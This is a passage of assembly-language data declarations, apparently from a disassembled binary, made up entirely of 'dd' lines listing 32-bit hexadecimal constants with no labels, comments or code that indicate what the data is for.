		dd 4E5293F6h, 8285D697h, 74982BB0h, 80C64AD3h, 0D1DB74F7h
		dd 0B610D5EEh, 6DF266C7h, 98797B7Fh, 0BFBC49C1h, 0AD1A731Eh
		dd 0DD276968h, 201CD1F9h, 651D7B68h, 0B75AB492h, 152E8C22h
		dd 0E7F2903Fh, 22BFD4ABh, 32C17597h, 0E36596BEh, 4F479D11h
		dd 3964A26Ah, 0A80FA316h, 340B2C97h, 0B5F4FD12h, 68D95295h
		dd 286D2C38h, 9FCAB1CFh, 0AD962BA8h, 92668E2Dh,	45101787h
		dd 6E0A62F4h, 0F9654D96h, 0EB90C750h, 0F6AF4A86h, 0E717F970h
		dd 5D4CAF44h, 2FE5E0B5h, 0AFB90B2Ch, 6A28EFC2h,	0A4D0CA4Fh
		dd 234766B9h, 5BEBEAB5h, 0CBC055FAh, 91FA5ACh, 0DB8928C4h
		dd 0FCEF57BEh, 0DCBB846Fh, 889EB215h, 0F4B668ECh, 8BD4B648h
		dd 989E2386h, 5F265C0Ah, 0CBE6CD2Ah, 11B2D801h,	0F92005B7h
		dd 5A256CB7h, 0F8B84AF0h, 35F16B1h, 3378D039h, 2B86B80Ch
		dd 969AD031h, 7CEC1A1Eh, 0F62F1474h, 19B3490Eh,	0DF352EF5h
		dd 27351ABCh, 845FAFA8h, 76F2F6B4h, 9E4CF9EBh, 7FFB6B49h
		dd 0E40D7C35h, 0BB101F4Dh, 0C0E49C95h, 1A33FE84h, 18328639h
		dd 85E78448h, 3436D483h, 111785A4h, 65E2F551h, 660F7ACEh
		dd 997DE55Fh, 6C1A755Ch, 19D5AB1Ah, 277700F0h, 0D740465Bh
		dd 0FE827752h, 0FFE03D16h, 2390ACBFh, 753EB189h, 0F6F0F740h
		dd 59C11989h, 0BA82F3F9h, 0BAC934D8h, 60672C1Eh, 9F7F1569h
		dd 22D7BFBDh, 132E2B1Eh, 3AF122CDh, 43203C8Ch, 385E3BE0h
		dd 0CD0AE48Ch, 0E2AEA533h, 8EF592CFh, 0CA487E93h, 98BCF2DFh
		dd 0B0799646h, 0D577A8E6h, 0D4B416A1h, 2123940Ch, 56B92350h
		dd 0E792ABE6h, 0B2B51922h, 6DCF6892h, 0B108434Eh, 0CBFF7FD7h
		dd 5885F191h, 7F7568A5h, 9FCE7F3h, 0C1B7689h, 14CB4DACh
		dd 4A404B0Fh, 0F84134Ch, 0A4103625h, 3B19C135h,	64ED0C3Dh
		dd 21BD8E1Bh, 6290C401h, 8DF3DEE3h, 0D588DCB2h,	771BB296h
		dd 3419EBA5h, 0F0197A4Dh, 0EDE46E9h, 3DAF6359h,	0FC0E6D12h
		dd 22BCF18Fh, 0A5EA135Ah, 78985902h, 0DDFFDCD1h, 2C9CF472h
		dd 0D1071C1Eh, 23A649EAh, 2065834Ah, 74243777h,	0AD88287Ah
		dd 0BF467651h, 0FDC42BECh, 0CD058CFDh, 74E4E50h, 0C5A08268h
		dd 78B1F6A5h, 35C835DFh, 81EB9Eh, 8D71BD25h, 2A8454A3h
		dd 65D9BF5Bh, 0E4141148h, 0E288D24Ah, 44483A0h,	0B477CE73h
		dd 0B0735A57h, 0E9430FE1h, 89ADBD72h, 68950B47h, 0A9BDB85Dh
		dd 0AD7C71AEh, 0E1584685h, 0F06AD63Fh, 5C1C172Eh, 5E3BCF8h
		dd 8C7E286Bh, 38B05292h, 0F1BA6C56h, 0C764749Bh, 95B38FE9h
		dd 0D8890EEFh, 322A6422h, 6C28A7E0h, 332D7278h,	5D886156h
		dd 0FBDC83F1h, 15BF8528h, 0EDCC4E6Dh, 7DD64AF0h, 362F1645h
		dd 43715F5Ch, 8A95F9FFh, 889B618Ch, 21C6D745h, 90164ABBh
		dd 8625D48Dh, 407DC08Ch, 0E723998Eh, 1C199507h,	0A9AED0ABh
		dd 155172B1h, 527D780Dh, 2C117A91h, 0D161D951h,	0E2657E94h
		dd 98AED3A0h, 0EC1EFC3Ch, 35859849h, 599E9685h,	1FA8F29Fh
		dd 98537BE3h, 203A274h,	810322CEh, 4A8F742Eh, 6B3B173Ch
		dd 99FE5045h, 0A6978FC5h, 9B02448Eh, 0D2714314h, 0E9EB8CACh
		dd 0AB5BA5B7h, 0E58E4314h, 0B9A8FC80h, 3939F5AAh, 0C5CB9940h
		dd 0BCCA7BCEh, 0DEB14F36h, 0BB476A3Fh, 0FD4260A1h, 0B32EA364h
		dd 0C952A2F8h, 1BB58224h, 504DA5E1h, 22E2E754h,	857C61D1h
		dd 724CE26h, 8F2CF2ECh,	0D40DAF7Fh, 8A3FC333h, 4275B9CAh
		dd 7C7BC883h, 0EB69ECC2h, 0A05F7A12h, 7CCD3F7Dh, 99F70B71h
		dd 4B18568Ah, 6B4020D1h, 1A67FCA7h, 0A976BB30h,	98851EA0h
		dd 2B95020Ch, 64FE0899h, 954932D0h, 0F8212F09h,	761BF750h
		dd 0F18A9F31h, 6DEE6C52h, 0C198CCFEh, 3EF2DDDAh, 0D0554AB5h
		dd 523E63C7h, 3F5C430Bh, 0F7188035h, 9106F4D0h,	3AC1059Eh
		dd 5F42A150h, 0ABA1E0F6h, 31DBF5A6h, 76ECF975h,	70C2165Bh
		dd 250B778Bh, 0C8DA3A4Fh, 7951D83h, 0CF2EC97Dh,	60307F83h
		dd 8E5AC7DCh, 3A54D6Ah,	0E96AE3A9h, 129844E4h, 46F90360h
		dd 0B2486252h, 0C007134Bh, 0C6791967h, 0D2862C5Fh, 0F9650185h
		dd 0DAF8EDBEh, 3CF98F25h, 0C732F283h, 0EA70898Eh, 0C1EF1959h
		dd 17734598h, 31111B33h, 0CDEC9388h, 70B3E011h,	3E4FCE8Dh
		dd 9E1CA0BCh, 0ECC4E7EDh, 6A8CEDEAh, 0D1C3F9C1h, 0B219DF26h
		dd 0BF0C0AF0h, 9DAA2ECEh, 0A3E80A7Fh, 0C7B1CD5Dh, 6BD7D94Ch
		dd 0E3537871h, 0B6BB680h, 244951E1h, 0B6663B11h, 0C341F654h
		dd 423188C6h, 2D1DB5FAh, 8AEA893Eh, 69DA988Eh, 0CD5E17FBh
		dd 0E9B7F5CCh, 0E55149ADh, 22FAFF3Eh, 0DF96F6A4h, 3E4530D5h
		dd 2D9C4361h, 94627474h, 0E1A58099h, 199EE25Ah,	0EC1555EEh
		dd 473C5E57h, 857F13C5h, 5D6C40h, 0BD9197A2h, 587DEC4h
		dd 3367835Dh, 99DF605Ah, 12F8A40Eh, 3880EF75h, 0C92543D9h
		dd 873B8211h, 8E43758Eh, 0EB7F54E6h, 74160F0Eh,	0A1674F22h
		dd 0D69EF54Eh, 0DDB92E0Fh, 8E2812C6h, 9276174Dh, 0AF48A046h
		dd 0FBE42885h, 5381E330h, 40D9FB31h, 861F86B7h,	3A34313Ah
		dd 0FEF92577h, 168BBBB0h, 7A5A83DAh, 20C11D0h, 0E070A899h
		dd 38D85E53h, 0FEB1D5E6h, 0FBF684F3h, 51E2A783h, 5242C85Ch
		dd 0B24A132Eh, 0F1BA5EECh, 4A1DABFDh, 0D7235CF8h, 13BFA3BBh
		dd 3B62AA5Fh, 0DDBB44F1h, 5EC54380h, 637D1BDCh,	183BEEF7h
		dd 1F26C206h, 0B8CFCF28h, 9C8E3098h, 2F36428Bh,	0A6E5C0A2h
		dd 0ED68B225h, 0AA89D5F0h, 8356347Bh, 85142E9Ah, 0AB001293h
		dd 6C0787F9h, 8254CEA8h, 8ADDC70Ch, 6F9558E5h, 0BEB1CA52h
		dd 0C7CBFB8Ch, 91599434h, 0E54A3728h, 0F14682C9h, 0B0292BC0h
		dd 0E95873FEh, 6A5435A2h, 0CF292BCEh, 143E14C7h, 0DB610792h
		dd 0A57D3667h, 8D7B71B8h, 4FA78967h, 8CD1EC3Eh,	21A6C5F4h
		dd 0EDC2727Fh, 76B2190Ch, 2965BA81h, 0AF493B08h, 0E84AA02Fh
		dd 594B9912h, 6C7222CAh
		dd 3EEFCC52h, 0C8A943D6h, 9E1CBC81h, 0FBC8269Fh, 0DDFE31C5h
		dd 0BD9F01CBh, 8A60FE25h, 767D0F29h, 0B12BA2CFh, 9C1C2DBEh
		dd 2E5B1967h, 6F5FB432h, 85F45892h, 0CC2AB80h, 975EBF37h
		dd 4E58EEC8h, 1B2B37D8h, 9D9C2BC2h, 0D147C8A2h,	941F5C60h
		dd 6051F0F4h, 7D56CB14h, 385B62BBh, 13B8BC94h, 42E11F42h
		dd 0BEA13EBAh, 14DB82C9h, 0FEE1F41Ah, 7BDB337Dh, 0DAE85668h
		dd 0EB0C66B3h, 7976B24h, 297E9EDAh, 0CC50E31h, 2F1B120Ah
		dd 2C74090Eh, 9946223Ah, 8D54D843h, 822A7F92h, 3D6D673Dh
		dd 6751D9C6h, 234F40F4h, 0D476A36Ch, 0A9DD6672h, 0B480D5CEh
		dd 0F8522BC6h, 587346B1h, 6DDF93F2h, 0ABCA2443h, 699DDDEBh
		dd 0F578D1ACh, 562AC4C0h, 0E0A44EB9h, 1C4CCFFEh, 89498D9Eh
		dd 0C43E4A05h, 0FC6BC8C6h, 0B60B588Bh, 9645150Bh, 549FC19Fh
		dd 0C37EFAEEh, 858A12F1h, 0AA1477Ch, 6FFDC97Dh,	29E88ABFh
		dd 9B837190h, 0A1C33246h, 419AA0BAh, 949A38F1h,	9ADAA084h
		dd 1E2C1349h, 36797E94h, 6CEF810Bh, 0BF7A8A79h,	0EE701A09h
		dd 4182EF66h, 505AED89h, 3FA2CAA9h, 709449ADh, 46B7D262h
		dd 11B1A37Bh, 0E42245C3h, 0F74822E8h, 0BD745EA1h, 5F05F267h
		dd 988DDCA0h, 0D4FA7CF7h, 0CC8F0BE8h, 0F5A3B003h, 0E4B80796h
		dd 827173E8h, 0B82187F2h, 79E84501h, 0B8E8E571h, 0E3765863h
		dd 0F785F605h, 4924712Eh, 67735315h, 2DC89505h,	0CC67D13Ah
		dd 5F799F66h, 0FB47AC5Fh, 0ABEF67FDh, 2E0A6D4Ch, 0ED83E374h
		dd 1B53EE7Bh, 27E5A6D3h, 946E91A4h, 0DB63474Bh,	607C4CD7h
		dd 4ED3C2D0h, 0D806F17Ch, 0A5A0F942h, 270B0100h, 9C17A4B0h
		dd 0A308195Fh, 0F8AA11C1h, 2993B309h, 0F0743223h, 9BAA1CA1h
		dd 3F7DB66Bh, 0F21565CEh, 4B0C0270h, 0C97AA088h, 9F8B31D4h
		dd 0DF60EBC4h, 5C1E1886h, 31306CA9h, 1E2A673h, 8552E692h
		dd 83556B33h, 0D635B0A5h, 225184E0h, 0E51D897Dh, 0B72C53D6h
		dd 0F202BF0Fh, 29CC607Ah, 3E3BB996h, 8BA14247h,	0E4AEAA17h
		dd 6DB4BFC8h, 0AE1D97Bh, 83FD0B3Ch, 21FE1F1Ch, 412D3E3Fh
		dd 0EC6722C1h, 42993F24h, 199FA61Dh, 994F13F2h,	0A3C05AB8h
		dd 69CEBBCh, 0EA148FEBh, 0C3718207h, 0BA87B597h, 3C15FD92h
		dd 674C6CC3h, 0F79C178h, 7B3B0790h, 84F4D603h, 3B8F6E97h
		dd 7981CD43h, 0C3DEFCAEh, 0DC793F86h, 1B0EDAEAh, 1372CA1Eh
		dd 0F728B867h, 66A6B579h, 97C890B3h, 1FC0AF99h,	0EDF313A2h
		dd 0D1D844E0h, 31601D5Ch, 7D24551Ch, 0FB0D6394h, 7852051Bh
		dd 69BC7BE1h, 30FB3C27h, 35BDA60h, 0A6D757Ch, 5E88A13Ah
		dd 80F45F02h, 0D35692CAh, 0B4288D23h, 5495AB66h, 7511462Bh
		dd 0A1686901h, 0FE1AD21Dh, 0BBE5087Dh, 0AADBAD16h, 0C9EC0678h
		dd 0EA5313EFh, 0E5803F7Bh, 0B1E27235h, 627A3391h, 0FAE37861h
		dd 9DD080F4h, 802CF25Ah, 28D8EB63h, 1CA1328h, 0EBD4F62Eh
		dd 5D4BC4BFh, 0ECBC7899h, 1C0B6F8Fh, 76D20252h,	12A13503h
		dd 0E7C89E28h, 0FB54E592h, 0BEC0DEC7h, 9B95B4EAh, 0A2587E2Ch
		dd 0CFD95986h, 2555BDD3h, 0F7A226ECh, 0C7441978h, 0EE6D2243h
		dd 19666827h, 0DA844EDDh, 0D73C70A8h, 2891FE5Fh, 51108937h
		dd 72897A0Bh, 0F6EB1B76h, 283F5495h, 63C7FEF6h,	0E8C2AA0h
		dd 5E010CD0h, 0E1F43908h, 18925E1Fh, 7B8FC2F7h,	0EB9493h
		dd 0CD254364h, 71BA726Fh, 2495DFF5h, 0DF1376FBh, 576A013Bh
		dd 91C0DBB5h, 8A7B8C95h, 9165081Bh, 5BAF4500h, 12921DEh
		dd 1E25002Fh, 0DE37BF7Fh, 0EC825F29h, 4B81BE40h, 3899CF8Fh
		dd 4FE75E1Dh, 0C8D243EBh, 7F915E01h, 0A020C929h, 0F1881645h
		dd 959571BCh, 1CA3BD9Dh, 0DAAB6CC4h, 9DB90F83h,	0E495CFADh
		dd 81E27C26h, 0E08529C2h, 63F9745Eh, 564E6273h,	9B4F198Eh
		dd 62B945DBh, 7D051D34h, 0CFC02F12h, 0D9E04110h, 0FAE35E12h
		dd 9792200Ah, 0CB799754h, 770B5E46h, 0A628A456h, 0F3828966h
		dd 401D0706h, 1F8508DDh, 5279B338h, 0CAD5B8D5h,	6A796645h
		dd 8F79385h, 208D0785h,	5C8449D7h, 6B2541AEh, 0F42548B8h
		dd 845F23D4h, 1A1CF2B5h, 0CAA95DC8h, 0AEE7D920h, 3A5B261Eh
		dd 9D9DD40Ah, 0BB955394h, 0F994393h, 6317D497h,	5E9C483Fh
		dd 4AC84165h, 57D0FDCFh, 0FEF99DF0h, 750066D1h,	0F5B31062h
		dd 93A670B3h, 0E09C2D88h, 6767A82Ah, 93C8D865h,	6DF17D8Eh
		dd 0CBEB2135h, 0E0830433h, 0F3EFB338h, 52628E30h, 65C66556h
		dd 0EF028AB8h, 0F93A3806h, 72D7EAECh, 4DC13BDBh, 0D81FB4E1h
		dd 2A452413h, 0FEE8BDB0h, 0B2A1C77Ch, 7226ACB6h, 0C6CF50A0h
		dd 0B056E70Ch, 6BC35870h, 0A9AEF806h, 290B3ECh,	0D9E37619h
		dd 5F437AA7h, 0FE80F102h, 77F931F6h, 0ED48942Eh, 0C8EEAE92h
		dd 0A6054A95h, 4E66110Dh, 0E292A894h, 327F17F2h, 7622E218h
		dd 3873241Eh, 0A04F7708h, 7F921313h, 50D584DCh,	6EC1480Dh
		dd 5E6A1881h, 21C0258Eh, 83166667h, 4CF6B2C0h, 0C42AC5C3h
		dd 0FC06325Bh, 0F80FC073h, 0BC46E083h, 83952E63h, 208800D9h
		dd 27DC7992h, 0B61DE6F7h, 46DB6185h, 5B332ABBh,	41BC714Bh
		dd 74CD81CCh, 78A96394h, 2253F16Eh, 13E7BD4Ch, 0D3E302FBh
		dd 0F394214Dh, 0CF7B1CF4h, 0F3E3DB1Ah, 3814C583h, 96D856DBh
		dd 7EB216Eh, 2B487AB2h,	199A7C16h, 50A20618h, 0DFEBC029h
		dd 26057179h, 56362E63h, 97CE98CDh, 72EAD67Ah, 0BF153FDEh
		dd 766D85BCh, 2BC17E28h, 0A241F049h, 0F05AC269h, 8CB0953Dh
		dd 0DFC3EDA1h, 0BD61004Ah, 51E73EB4h, 0B53E14E1h, 66066D49h
		dd 31D94008h, 1C9E01ABh, 370D19B8h, 0FBD7F5D7h,	451CA966h
		dd 6B4F0B81h, 9C0B88A5h, 5FC13BA2h, 44841B8Bh, 29C2F681h
		dd 89BA256Bh, 0A612BD96h, 84E25F28h, 0E7CE5A7Fh, 83150498h
		dd 2F416C61h, 3F7BB34Ch, 982B77ECh, 0FDD5EE7Dh,	474EF8B6h
		dd 0ECC1AEF2h, 0DD559F8h, 88362476h, 0E2F15AD0h, 2A419183h
		dd 74B94E68h, 0A81AD690h, 97C02C48h, 9C573F72h,	81E046E0h
		dd 71FDF98Ch, 89698A3Fh, 0CA73F0A3h, 0C987B02Eh, 0A4E10CFAh
		dd 0FBEF143Ch, 64778A06h, 7FF55074h, 0DCBD74F0h, 6782E074h
		dd 50D5958h, 42C9F5B9h,	0F37D60B9h, 0A281F468h,	0E370F92h
		dd 0EE675398h, 2D330E32h, 0E83846DFh, 0DD3A5526h, 0C78D7DFEh
		dd 4178DDB7h, 4A5D8941h, 86403080h, 0AEC702DAh,	0B521A07h
		dd 634AB20Ah, 0E50F9E9h, 7AA0432Ch, 8B5D8B4Dh, 0F657BB03h
		dd 0B59BF913h, 86204EB2h, 0FC555B61h, 550B6233h, 0D694DAF3h
		dd 0C5782B44h, 51B54B18h, 1AE96A08h, 0A38E1120h, 375458EEh
		dd 1EB75797h, 0A7B18A69h, 89CBCDF4h, 5E7A12F2h,	0C5263DE0h
		dd 0B603BDFAh, 0D3131EECh, 0B667A890h, 2E784ADBh, 63AFD6E7h
		dd 0A6FC90BEh, 0E9F1EEEAh, 0D381239Eh, 1ACD3B62h, 59FB9615h
		dd 53CE772Eh, 0E942EAAAh, 7DFBACA7h, 0EEF56B6Eh, 0AEEA62CDh
		dd 0B2359993h, 3ED157A2h, 695F99C2h, 0EA04D4B2h, 735DB80Eh
		dd 95D26B3Bh, 24BBD06h,	0B5D1D07Dh, 0A9215310h,	51C5EB7Eh
		dd 0F20508Dh, 3D047799h, 0C24E543Ah, 0DAB1246Bh, 0A5317042h
		dd 2D65E7E0h, 23935FC4h, 3726C54Bh, 9FAFC233h, 66C882BFh
		dd 0C6AC5691h, 97966337h, 0BD14A710h, 33B4406h,	0C3D567C5h
		dd 20B46A65h, 0BAA8A4BDh, 0CD1901E8h, 845146C1h, 37A21AC4h
		dd 0E0C3220Bh, 159A289Bh, 27F97D40h, 0D146CAE5h, 7475EDA9h
		dd 20C7A9A1h, 5B8DEDEDh, 6113D5EFh, 0EB73585Dh,	0D4D7D71h
		dd 52914C27h, 7A34F155h
		dd 6A26611Dh, 0B02C65A7h, 5748AC27h, 705A1ECCh,	9640B0C1h
		dd 0B4E9B19Ch, 0FE99D61Eh, 0C9794BEh, 725AA948h, 0DEB61C5h
		dd 390E4453h, 0CCE19627h, 0FA7323E0h, 0F5F2E47Ch, 5100154Fh
		dd 799C9C86h, 293FB882h, 0B958502Ah, 0CA616688h, 55D9DE19h
		dd 0FA0A20CAh, 0D209B0FDh, 0AD9526EDh, 54E380E8h, 1A43EE0Ah
		dd 61AEDAEh, 0EA5F9F11h, 36DC5FF9h, 117A2027h, 7984D483h
		dd 73BD5CC8h, 57CEA581h, 3FAA311Fh, 8E30B1FBh, 41A5F692h
		dd 9C1B5211h, 0C67CF308h, 57B35E84h, 0B00B2930h, 0A2D98DD6h
		dd 9B91A9F1h, 9EDFD9B4h, 40B72F83h, 0E54B5EFCh,	0FDB434EEh
		dd 0A6E876F8h, 8017E268h, 0BCFDCF1Ch, 0F3DF019Bh, 0C5E567F0h
		dd 42377DEBh, 339AB87Eh, 8B0168CFh, 133553FCh, 9633CFD4h
		dd 62EA1DB6h, 0D70FCC8Eh, 4E200619h, 0D7F61720h, 18465009h
		dd 335299C7h, 0C974DD0h, 0C241187Fh, 78B1FA7Dh,	0D9917104h
		dd 24AB4C54h, 0D7738E7h, 0CCB43D81h, 0B062BD35h, 68E02A79h
		dd 0C66BD971h, 0AD5F7CDEh, 89E869A1h, 72CF6BE4h, 82A26CA2h
		dd 0C705345Ah, 0F17BCF5h, 0EDCED379h, 31EF2E4Dh, 0FEA06E13h
		dd 0C7E2424Ah, 3EEE6CBFh, 0CFC0FBB4h, 8E3851CBh, 7772A852h
		dd 0C637138h, 707E374h,	89EE7818h, 0D27C9964h, 53929744h
		dd 0ECBB0A13h, 2950C63Bh, 0D4100139h, 8A2CA6E7h, 15F12968h
		dd 78AB5EAFh, 4995A376h, 0C4064DEh, 86CD5128h, 0F28D9D8Bh
		dd 0DB6D741Ah, 305EC225h, 10DFB0A1h, 0F09AA691h, 0CFEC319Fh
		dd 0F46E2130h, 1440126Ah, 896204F9h, 0DABF8C5Ch, 0E8428461h
		dd 0AD7655A9h, 335CAAB4h, 0F1DFFEB4h, 44133538h, 0AC67E856h
		dd 70D70F2h, 0E927F1A5h, 7F35CD62h, 2BC2E7EBh, 0CDBA40Bh
		dd 0BD8CF1E1h, 0DA04F7BFh, 0B4E56EDDh, 9E67577Dh, 0B6BEF142h
		dd 10096D27h, 0C9D9950Eh, 85EBF8FAh, 0ED41E66Dh, 6B532294h
		dd 0BE7D40Fh, 1B77D463h, 0AA6F2B45h, 1C2B5666h,	9F27225Eh
		dd 944E9F15h, 9790216Dh, 0E0230E3Ch, 0E73CAC35h, 5A62C878h
		dd 756A7097h, 0C661CFFh, 0B445098Dh, 0D9CC5E88h, 9B1406BFh
		dd 93BA5381h, 0CDBD6363h, 2F384E1Ch, 56F36E79h,	62BAA46h
		dd 61BEF8h, 7C7BF9E2h, 0D15AE1EEh, 4A2516D4h, 7528B1C5h
		dd 41F5C32Fh, 19A53336h, 6E428792h, 1163DD2Fh, 6C38AB30h
		dd 4B6D959Eh, 211333C4h, 8873810Ah, 0D3CCC1F5h,	7639216h
		dd 0EAE14A07h, 0A2559F00h, 551ADFB8h, 570AF83Ch, 5C12E93h
		dd 0E9B6AEBCh, 492681D7h, 182FC31Bh, 0A9DDF72h,	0B82F46AEh
		dd 0CCA0B02Ch, 0C507DD67h, 6444A81Ah, 4635B6C1h, 10E8DC79h
		dd 9A78A70Bh, 4B4CDFCFh, 7FC466A9h, 0DADA01B2h,	7F1211AAh
		dd 8F3434C2h, 86CC048Ah, 0DF577Ah, 86A7CB3Eh, 0EC3E9620h
		dd 0A7BBB5E7h, 0B979C284h, 40F10190h, 95F2A6D4h, 0B44A3F3Dh
		dd 0FE20CA12h, 0FD3276F1h, 1FF69B15h, 0C7D507E9h, 674414D3h
		dd 41889783h, 0B1635747h, 3A764627h, 6CE80D8h, 9DEBA10Dh
		dd 8407DC61h, 10B89D7Fh, 15946ABDh, 0F16C6E22h,	9FD857E9h
		dd 49B034D2h, 0FC79112Ch, 2144E4EAh, 32CAF9E2h,	48E93265h
		dd 170376D7h, 0EEB8DCBAh, 54A99B58h, 22BF6A67h,	71D4163h
		dd 0DE89285h, 3153E66Fh, 819D7FBAh, 0DC7859FDh,	6F7A8DBAh
		dd 2F58FBF3h, 5A864575h, 8B9F6BEBh, 0CA0A8377h,	45EC6070h
		dd 0AF236D0Bh, 0DE0C7B8Eh, 12F4C9E8h, 218318C6h, 7AC67B39h
		dd 0DFB22D7Ch, 0BF50AECDh, 108C55D4h, 0E662C1B7h, 0D4B01AD8h
		dd 0BD1117Eh, 11C4988Eh, 0CA9C5B0Dh, 0D578CC80h, 0CE7A2A15h
		dd 1E0D2A3h, 0E131B0F0h, 5C9F995Ah, 5382BE2Dh, 0B7B7616Dh
		dd 64D7F05Ah, 0ACAB7B4Ch, 0A339A66Bh, 6E60571Bh, 38F5B307h
		dd 0A290482h, 781DE9D3h, 0B4D8EF2Ch, 23BF567h, 7FEC6350h
		dd 0F23BBEA0h, 0CA9796EDh, 0B15EFB12h, 0EE0001DEh, 31D00DAh
		dd 48CA1165h, 0CFD8CE1h, 0D4255B70h, 875D2B5Bh,	490F3A4Fh
		dd 65550277h, 0B10C9AE2h, 0CBF00F0h, 864DF20Bh,	184043D4h
		dd 2EF2CD84h, 0E6AAB630h, 0E7B7D462h, 0CDD87FE1h, 0EFE4669Dh
		dd 7A76971Ah, 3411F452h, 0FDEC3966h, 0FDA8C2A0h, 1687B6EBh
		dd 0E82BDD4Bh, 0EEF06A12h, 144669ABh, 0D88E039Ah, 8C9F61B7h
		dd 0AE34FEAh, 2373776Ch, 0F86A4ABFh, 132F8B2Eh,	9586E0D2h
		dd 90694D58h, 81B8E047h, 0FC74B745h, 0E1AC8CC7h, 0CF69A20h
		dd 9871DF80h, 18E8CD0Ah, 2B9521B2h, 95001107h, 66971AE0h
		dd 0B5B27A23h, 0EED5CE51h, 0CAE842EAh, 156A1F00h, 0C0469896h
		dd 820CEAC3h, 6AA39326h, 142728F5h, 8D095E8Bh, 1F0F11DEh
		dd 70383C83h, 0DE7F298Fh, 0A5E306Dh, 331008A1h,	0A54409Dh
		dd 9DC401A5h, 8A9A05B2h, 8F0E23B5h, 0BB694307h,	3C1D4BCDh
		dd 268DC61Fh, 300DFCE1h, 968607DEh, 0CF6283C3h,	0B4D36EA6h
		dd 0F4FACF4Fh, 0C99D4976h, 90A52993h, 2186BDA7h, 0DC5AC35Fh
		dd 958A3E5Dh, 582D3F77h, 626979C3h, 0BF0DC7Ch, 0EA392D00h
		dd 4D965B96h, 0E026EE0Dh, 0A34454C3h, 18ACD0E9h, 0AE8AD135h
		dd 237A7D3Bh, 59C431ECh, 922945CDh, 0EE779B21h,	3E7C5DA8h
		dd 0EEAD66CAh, 1465D70Bh, 0BCD79CC4h, 835A2019h, 0C14CC27Ch
		dd 90CB3410h, 85EDA152h, 9180C340h, 0C9B30DD2h,	1ADD171Ah
		dd 32B69EDAh, 0D4E26E46h, 7F35191Ch, 728C8EBBh,	1FDBF0Dh
		dd 8AC908EBh, 0B8ECB658h, 0B08B3612h, 0D6C3D1A7h, 498AB192h
		dd 42EDB950h, 0BEF0515Bh, 0F96A674h, 0B350F5A4h, 0A1757504h
		dd 10AAEC78h, 4D7DBC8Ch, 0C5021345h, 2AF19074h,	5DEB3E75h
		dd 61544B66h, 0D2312740h, 7D97BFB9h, 36C69D5h, 65F10BF1h
		dd 2E70CCFCh, 6F4D696Dh, 3B908692h, 7C301254h, 0CC42445Ah
		dd 0C96E33E9h, 0CBEF5D0h, 0EAC935B1h, 41DE8641h, 0B2165CF6h
		dd 0B84DE87Ch, 2714DF59h, 67BC0EE4h, 68F714CAh,	0DA56DB34h
		dd 0AB798AEh, 0AD5740A0h, 0B7AECE8Fh, 6EB5CB75h, 0CC346E44h
		dd 0E3127CDAh, 16AD7E27h, 0BB97A51h, 5B03F856h,	4AE6DA3h
		dd 5FB40A20h, 6D9FABD8h, 0A8F36004h, 0A0EB527h,	0FDD7FF4Dh
		dd 0DEE19CE7h, 37E79EE0h, 1F442B47h, 2DD8B308h,	2232C352h
		dd 9F247DADh, 0E3F02BB1h, 2CD267EFh, 437B8C4Bh,	90FEB6E8h
		dd 4E8F2679h, 4F10ADB0h, 67D89FFh, 0AEEACE9Eh, 0B5DFD545h
		dd 88BB3C1Ah, 7768E0BEh, 4DB3DD74h, 767EAA4Eh, 5158F93Ah
		dd 40B2B891h, 3472416h,	9FAB0C79h, 0CC4015A4h, 70DA675Fh
		dd 0C0F15680h, 0C8A3BEF3h, 9C8DFD98h, 0BCC6911Dh, 8ED0A244h
		dd 2729FB58h, 8DECA168h, 0D13BB132h, 571DF4B5h,	4F8DA397h
		dd 0D1488218h, 0F9FD142Ch, 7560D04Ch, 37BC5ECAh, 10400949h
		dd 4F2B62CCh, 774372C8h, 82E063FBh, 0F4E9241h, 0A278B56h
		dd 514F20E3h, 67296569h, 4CBB86A0h, 5FBED111h, 74F4A9B5h
		dd 2E7738ADh, 6E4CD92Fh, 7E436C46h, 6D697C7h, 0BE60A7AEh
		dd 789EA55Fh, 4997C1BFh, 165D0706h, 8D920714h, 0FE1B9C21h
		dd 57221717h, 69C5B376h, 0C7492413h, 0ADF6819Ah, 0DC874265h
		dd 0EFC8EF33h, 4C06DD2Eh, 0DE2D3F7Ah, 5A88A333h, 5E115089h
		dd 0BF1B74EFh, 0EC67E2D0h, 61B298ACh, 0E4AAE323h, 0EED0361Ch
		dd 47C6C04Dh, 6B1F0E45h, 4A589868h, 0D555CD1Ah,	3BAAA8B1h
		dd 0FE017646h, 5DA20BD6h, 360685F8h, 6A3F5931h,	0AB4BA4FFh
		dd 0F142824Dh, 3BFB8BB5h, 0F6A2F21Fh, 50FC7B5h,	0FD7DBD74h
		dd 0AFF1EF23h, 0CEC97CEEh, 8ED0561Ah, 676562A1h, 1E4064CAh
		dd 2A54AB7Ch, 122AA6A3h
		dd 0E043521Eh, 9C06BCD6h, 7BB8ED80h, 838AD48Dh,	0EE32AF85h
		dd 555ED3A7h, 56E1CEB6h, 8BEBE26Bh, 2CA1A48h, 848B346Eh
		dd 0F3BD366Dh, 0B1B270A9h, 3F05361Bh, 0AB5F78D1h, 65AFB4F7h
		dd 0B9183259h, 0D1F6B4DAh, 9C377510h, 0B9B889EEh, 0EFAD4C60h
		dd 0B64327F8h, 1B717F6Fh, 42F03085h, 838B8DE1h,	73906E77h
		dd 770F32EEh, 0F30126BBh, 30929DEEh, 56C5471Ch,	0F8631FBh
		dd 0D7BCEB6h, 9B2E4DB2h, 0B393C20Ch, 2C1ADFC2h,	2DA26059h
		dd 0B2D5E0CDh, 0AD73816Ah, 7DABFE6Eh, 443FF531h, 92AE3552h
		dd 7946E234h, 0F595E3BEh, 68246B67h, 823D0894h,	8C7DD421h
		dd 94C7F943h, 3BF818B2h, 617F4636h, 0FDFAB2Dh, 18114B5h
		dd 6717BE11h, 34D752B3h, 0AB9E6F15h, 8B74E349h,	3C619B12h
		dd 1D5C13C5h, 5B8BF40Dh, 0F09F28D4h, 8F932FC4h,	6814C13Ah
		dd 0EB423CACh, 19DA080Dh, 0FE4CFB40h, 0F7B98B85h, 0B94A88C2h
		dd 9D0FCA68h, 150A435Dh, 0ABC7A0EDh, 214A1E5Bh,	16C7EDD9h
		dd 56EE6DBAh, 0AE7999BDh, 6D67747Ch, 0FEB17F4h,	0C35D02EAh
		dd 5B629BB0h, 0C02A41B2h, 0BFD671F3h, 6FEE64CBh, 4AC0D26Ch
		dd 57481CB4h, 736B97D4h, 0FFDCFE5h, 7B3E355Bh, 93A5DB33h
		dd 47D98550h, 0D875F2E9h, 94F77Fh, 27BA7B7Ah, 7EBB76Ch
